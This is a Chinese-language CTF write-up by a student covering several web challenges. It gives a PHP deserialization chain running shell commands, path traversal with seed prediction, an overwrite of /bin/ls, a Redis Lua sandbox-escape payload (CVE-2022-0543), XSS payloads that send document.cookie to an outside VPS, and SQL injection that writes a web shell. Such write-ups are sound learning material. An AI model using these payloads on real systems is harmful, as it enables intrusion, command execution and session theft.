前言

Web菜鸟的入门第一赛,在自己的努力还有仙贝的帮助下也是拿下了校内赛道Web单方向第一,记录一下自己的首胜,我深知自己的实力在大型比赛中会狠狠坐牢。。。但是,我不会止步于此的!!!

臭皮吹泡泡

wp

<?php
class study
{
public $study;

}

class let_me
{
public $let_me;
public $time;
}

class happy
{
public $sign_in;

}
class ctf
{
public $ctf;

}

$obj1=new study();
$obj1->study=new ctf();
$obj2=new let_me();
$obj2->let_me="\n system('cat /f*');";
$obj2->time=new happy();
$obj1->study->ctf=[$obj2,"get_flag"];
$obj1=base64_encode(serialize($obj1));
echo $obj1;

Trick

[$Object," function "]
能直接调用某个类下的函数
$object与字符串比较时会直接调用__tostring

臭皮的网站

wp

0x01

利用 CVE 路径穿越获取 app.py

random.seed(uuid.getnode())

随机数种子为硬件地址即 mac 地址
利用路径穿越获取
/static/../../sys/class/net/eth0/address

import random
import string
#00:16:3e:10:2d: 87
random.seed(0x00163e102d87)
print(''.join(random.choices(string.ascii_letters + string.digits, k = 8)))

获取登录密码

0x02

登陆后,任意文件上传

filename = './static/' + file.filename

利用路径穿越上传

* * * * * root cat /*f* > /app/static/bcd

至/etc/cron.d/a
失败,求解

0x03

发现subprocess.run中shell=True

command = "ls ./static"  #cat /*f >./static
if user == 'admin':
result = subprocess.run(command, shell = True, check = True, text = True, capture_output = True)
files_list = result.stdout
return web.Response(text = "static:"+files_list)

得到Linux大神inkey的指点,直接修改/bin/ls的内容

cat /*f* > ./static/114514

再次访问/static/114514得到flag

ezredis

wp

redis5版本之后,lua沙箱环境ban了config set dir等危险函数,Redis lua沙盒逃逸(CVE-2022-0543)

Debian 以及 Ubuntu 发行版的源在打包 Redis 时,在 Lua 沙箱中遗留了一个对象 package,攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。

payload

local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”);
local io = io_l();
local f = io.popen(“cat /flag”, “r”);
local res = f:read(“*a”);
f:close();
return res

local io_l=package.loadlib(“/user/lib/x86_64-linux-gnu/liblua5.1.so.0”,”luaopen_io”);

pangbai过家家(5)

wp

审计
发现api.ts里有localhost读信
发现<…></….>被ban了
利用onerror以及浏览器自动补全

< img src = "x" onerror = ; 绕过

0x01

尝试了好久利用onerror获取cookie后fetch给vps

< img src = "invalid.jpg" onerror = "fetch('http://ip: port/cookie/' + encodeURIComponent(document.cookie));"

发现sameSite:'Strict',无法带出

0x02

继续直接带出

< img src = "http://123.57.74.106:3389/?cookie =" + encodeURIComponent(document.cookie);

0x03

得到提示可以把cookie通过send api再发出来

< img src = "x" onerror ="
fetch('/api/send', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
title: 'Cookie Theft',
content: document.cookie
})
});
"

sqlshell

wp

0x01

-1 union select 1,2,3# 有回显123,写入/var/www/html/

0x02:

-1’ union select 1,2,’‘ into dumpfile ‘/var/www/html/shell.php’#

alicsscascs’ union select 1,2,’‘ into dumpfile ‘/var/www/html/shell.php’#